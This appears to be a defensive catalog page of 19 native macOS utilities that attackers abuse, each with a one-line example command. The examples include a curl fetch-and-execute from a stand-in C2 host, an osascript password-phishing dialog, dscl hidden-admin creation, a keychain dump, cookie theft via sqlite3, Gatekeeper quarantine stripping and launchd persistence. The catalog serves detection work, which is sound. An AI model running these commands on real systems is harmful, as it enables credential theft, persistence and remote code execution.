macOS Living-off-the-Orchard Binaries (LOOBins)
Native macOS utilities abused for Gatekeeper evasion, keychain credential harvesting, and launchd persistence.
Ingest events from the Apple Endpoint Security Framework (ESF) for ES_EVENT_TYPE_AUTH_EXEC and ES_EVENT_TYPE_NOTIFY_EXEC. Audit changes to extended attributes (xattr stripping com.apple.quarantine) and modifications to LaunchAgent and LaunchDaemon plist files in /Library/LaunchDaemons.
/usr/bin/usr/sbin/System/Library/CoreServices/binmacos Living-off-the-Land Catalog
19 verified utilitiesosascript
Osascript executes Open Scripting Architecture (OSA) scripts such as AppleScript and JavaScript for Automation (JXA). Widely used in macOS malware to display convincing phishing dialogs, harvest credentials, control System Events, and execute shell commands.
osascript -e 'display dialog "System Update requires your password to continue:" default answer "" with hidden answer with icon caution'open
The open command opens files, directories, URLs, and applications as if you double-clicked them in Finder. Used to launch unsigned or quarantined applications and evade Gatekeeper or security software inspection.
open -a /Applications/Safari.app/Contents/MacOS/Safari http://phishing.sitecurl
Curl is standard on macOS and frequently invoked in bash/zsh shell scripts by macOS stealers (e.g. Atomic macOS Stealer / AMOS) to fetch stage 2 Mach-O executables or exfiltrate keychain data.
curl -s -L -o /tmp/.stage2 https://c2.macos-stealer.com/loader && chmod +x /tmp/.stage2 && /tmp/.stage2dscl
Directory Service command-line utility (dscl) allows reading and writing Directory Service databases. Attackers use dscl for local user discovery, creating hidden administrator accounts, or extracting password hashes.
dscl . -create /Users/sysadmin UserShell /bin/zsh && dscl . -append /Groups/admin GroupMembership sysadmindefaults
Defaults reads and writes macOS user defaults and plist configuration files. Attackers abuse it to write LoginHook scripts or alter ScreenSaver preferences to achieve reboot persistence.
defaults write com.apple.loginwindow LoginHook /Library/Scripts/update.shplutil
Plutil checks and transforms property list (.plist) files. Attackers use plutil -insert to inject payload paths into LaunchAgent or LaunchDaemon plists for persistence.
plutil -insert ProgramArguments.0 -string "/bin/sh" ~/Library/LaunchAgents/com.apple.updater.plistsecurity
Security administers macOS Keychains, keys, certificates, and the Security framework. Attackers use it to dump user passwords, export certificates, or harvest plain-text credentials.
security dump-keychain -d login.keychainlaunchctl
Launchctl interfaces with launchd to manage daemons and user agents. Malware uses launchctl to immediately bootstrap and execute persistent services.
launchctl load -w ~/Library/LaunchAgents/com.persistence.plistpkgutil
Pkgutil queries and extracts installer packages. Attackers use pkgutil --expand to decompress package payloads and extract scripts without triggering installation gatekeeper checks.
pkgutil --expand /tmp/installer.pkg /tmp/extracted_pkginstaller
Installer runs system software installations. Attackers run installer from terminal with root privileges to deploy malicious package files silently without user prompts.
sudo installer -pkg /tmp/implant.pkg -target /tccutil
Tccutil manages the Transparency, Consent, and Control (TCC) privacy database. Attackers reset permissions for applications to force prompt re-evaluation or test TCC bypasses.
tccutil reset All com.apple.Terminalscutil
Scutil manages system configuration parameters. Attackers use it during discovery to retrieve the computer name, DNS servers, and network proxy configurations.
scutil --get ComputerNamenetworksetup
Networksetup configures macOS network preferences. Attackers abuse it to configure rogue HTTP web proxies or reassign DNS servers to malicious resolvers.
networksetup -setwebproxy "Wi-Fi" 127.0.0.1 8080sqlite3
Sqlite3 queries SQLite databases. Attackers use it to query Chrome and Safari cookies, browsing history, and notes databases without launching browsers.
sqlite3 ~/Library/Application\ Support/Google/Chrome/Default/Cookies "SELECT host_key, name, encrypted_value FROM cookies"ditto
Ditto copies directories while preserving extended attributes, HFS metadata, and resource forks. Attackers use it to archive sensitive folders prior to exfiltration.
ditto -c -k --sequesterRsrc /Users/victim/Documents /tmp/docs.zipxattr
Xattr displays and modifies extended filesystem attributes. Attackers execute xattr -d com.apple.quarantine on downloaded malware to bypass Gatekeeper execution blocks.
xattr -d com.apple.quarantine /path/to/implant.applog
Log queries the macOS Unified Logging System. Attackers interrogate system logs to find sensitive tokens, user activities, or cleartext credentials.
log show --predicate 'process == "sudo"' --info --last 1dcsrutil
Csrutil inspects and modifies System Integrity Protection (SIP) settings. Attackers check SIP status prior to attempting kernel extensions or rootkit loading.
csrutil statushdiutil
Hdiutil manipulates macOS disk images (DMG). Attackers attach downloaded DMG images silently (-nobrowse) to access and execute stage-2 payloads without mounting icons on the desktop.
hdiutil attach /tmp/payload.dmg -nobrowse -mountpoint /Volumes/secret